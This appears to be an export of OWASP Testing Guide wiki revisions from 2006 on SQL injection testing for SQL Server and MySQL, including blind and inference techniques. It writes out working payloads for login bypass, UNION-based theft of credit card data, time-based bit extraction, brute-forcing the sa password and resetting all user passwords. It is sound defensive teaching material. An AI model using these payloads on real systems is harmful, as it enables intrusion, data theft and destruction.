&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
===Example 8: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
We can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=14490</id>
		<title>Blind SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=14490"/>
				<updated>2006-12-20T09:08:04Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Blind SQL injection is identical to normal [[SQL injection]], however, when such an attack is performed a handled error message is returned. This results in no generic database error messages and without disclosing such information the attacker is working '&amp;lt;i&amp;gt;blindly&amp;lt;/i&amp;gt;.'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Online Resources'''&lt;br /&gt;
* [http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* [http://www.securitydocs.com/library/2651 Blind SQL Injection]&lt;br /&gt;
* http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* [http://wcsc.myweb.usf.edu/tutorials/SQL_Injection.ppt SQL Injection Attacks]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ [Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project SQLiX - SQL Injection Scanner] in Perl&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap, a blind SQL injection tool] in Python&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
==Related Threats==&lt;br /&gt;
&lt;br /&gt;
==Related Attacks==&lt;br /&gt;
&lt;br /&gt;
==Related Problems==&lt;br /&gt;
* [[Injection problem]]&lt;br /&gt;
&lt;br /&gt;
==Related Countermeasures==&lt;br /&gt;
&lt;br /&gt;
==Categories==&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;br /&gt;
[[Category:OWASP_CLASP_Project]]&lt;br /&gt;
[[Category:OWASP_SQLiX_Project]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:SQL]]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=14369</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=14369"/>
				<updated>2006-12-14T19:55:40Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
A SQL injection attack consists of insertion or &amp;quot;injection&amp;quot; of an SQL query via the input data from the client to the application.&amp;lt;BR&amp;gt; &lt;br /&gt;
A successful sql injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.&lt;br /&gt;
For an introduction to SQL Injection, please refer to the references at the bottom of the page.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
SQL Injection attacks can be divided in the following three classes:&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)&lt;br /&gt;
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server&lt;br /&gt;
Independently from the attack class, in order to perform a SQL Injection attack it is necessary to craft a syntactically correct SQL Query. If the application returns the error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as &amp;quot;Blind SQL Injection&amp;quot; .&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== SQL Injection Detection ===&lt;br /&gt;
&lt;br /&gt;
The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. &lt;br /&gt;
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
 varchar value 'test' to a column of data type int.&lt;br /&gt;
 /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A full error message like the ones in the examples provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.&lt;br /&gt;
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username= '1' OR '1' = '1' AND Password= '1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parenthesis and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until we obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. The value of the fields Username and Password regarding the previous example will be modified according the following:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Testing ===&lt;br /&gt;
Another test to carry out, involves the use of the UNION operation. Through such operation it is possible, in case of Sql Injection, to join a query, purposely forged from the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around the query that make use of keyword DISTINCT. &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind Sql Injection Testing ===&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behavior happens in cases where the programmer has created a customed error page that does not reveal anything on the structure of the query or on the database. (Does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to understand when we have ended, we will use one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
Question: How can the risk of SQL injection be eliminated? &amp;lt;br&amp;gt;&lt;br /&gt;
Answer: Stored procedures.&amp;lt;br&amp;gt;&lt;br /&gt;
I have seen this answer too many times without qualifications.  Merely the use of stored procedures does not assist in the mitigation of SQL injection.  If not handled properly, dynamic SQL within stored procedures can be just as vulnerable to SQL injection as dynamic SQL within a web page.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection.  If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Black box testing uses SQL injection to compromise the system. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
 Declare @sqlstring varchar(250) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select 1 from users &lt;br /&gt;
 Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
 exec(@sqlstring)&lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 anyusername or 1=1'&lt;br /&gt;
 anypassword&lt;br /&gt;
This procedure does not sanitize the input therefore allowing the return value to show an existing record with these parameters.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
NOTE:  This example may seem unlikely due to the use of dynamic SQL to log in a user but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure get_report @columnamelist varchar(20) As&lt;br /&gt;
 Declare @sqlstring varchar(8000) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
 exec(@sqlstring) &lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 1 from users’; + ‘update users set password = 'password'; select 1’&lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;SQL Injection&amp;quot; - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;Blind SQL Injection&amp;quot; - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind Sql Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP SQLiX- http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySql Blind Injection Bruteforcing, Reversing.org - [[http://www.reversing.org/node/view/11 sqlbftools]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - [[http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]]&amp;lt;br&amp;gt;&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=14368</id>
		<title>Testing for MySQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=14368"/>
				<updated>2006-12-14T19:55:04Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
''MySQL server'' has a few particularities so that some exploits need to be &lt;br /&gt;
specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== How to Test ===&lt;br /&gt;
When a SQL Injection is found with MySQL as DBMS backend,&lt;br /&gt;
there is a number of attacks that could be accomplished depending &lt;br /&gt;
on MySQL version and user privileges on DBMS.&lt;br /&gt;
&lt;br /&gt;
MySQL comes with at least four versions used in production worldwide.&lt;br /&gt;
3.23.x, 4.0.x, 4.1.x and 5.0.x.&lt;br /&gt;
Every version has a set of features proportional to version number.&lt;br /&gt;
&lt;br /&gt;
* From Version 4.0: UNION &lt;br /&gt;
* From Version 4.1: Subqueries&lt;br /&gt;
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA&lt;br /&gt;
* From Version 5.0.2: Triggers &lt;br /&gt;
&lt;br /&gt;
To be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection could be used, as no subqueries or UNION statements are implemented.&lt;br /&gt;
&lt;br /&gt;
From now on, it will be supposed there is a classic SQL injection in a request like the one described in the Section on [[Testing for SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
